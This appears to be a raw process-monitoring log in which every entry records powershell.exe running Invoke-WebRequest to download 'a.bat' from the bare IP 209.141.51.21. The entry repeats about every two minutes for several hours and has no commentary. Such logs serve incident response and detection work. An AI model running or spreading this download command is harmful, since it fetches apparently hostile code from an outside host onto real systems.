C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:18:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:20:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:21:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:23:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:23:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:25:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:26:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:28:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:28:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:30:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:31:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:33:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:33:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:35:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:36:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:38:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:38:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:41:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:41:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:43:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:43:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:46:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:46:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:48:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:48:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:51:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:51:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:53:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:53:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:56:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:56:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:58:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:58:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:01:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:01:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:03:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:04:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:06:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:06:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:08:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:09:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:11:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:11:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:13:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:14:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:16:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:16:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:18:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:19:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:21:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:21:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:23:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:24:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:26:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:26:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:28:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:29:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:31:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:31:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:33:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:34:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:36:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:36:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:38:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:39:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:41:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:41:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:43:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:44:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:46:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:46:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:48:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:49:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:51:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:51:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:53:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:54:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:56:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:56:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:58:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 04:59:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:01:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:01:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:03:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:04:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:06:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:06:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:08:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:09:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:11:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:11:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:13:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:14:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:16:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:16:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:19:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:19:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:21:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:21:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:24:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:24:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:26:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:26:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:29:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:29:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:31:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:32:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:34:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:34:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:36:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:37:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:39:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:39:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:41:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:42:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:44:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:44:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:46:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:47:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:49:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:49:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:51:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:52:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:54:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:54:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:56:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:57:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:59:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 05:59:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:01:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:02:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:04:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:04:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:06:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:07:11 NOTIFY: PROCESS 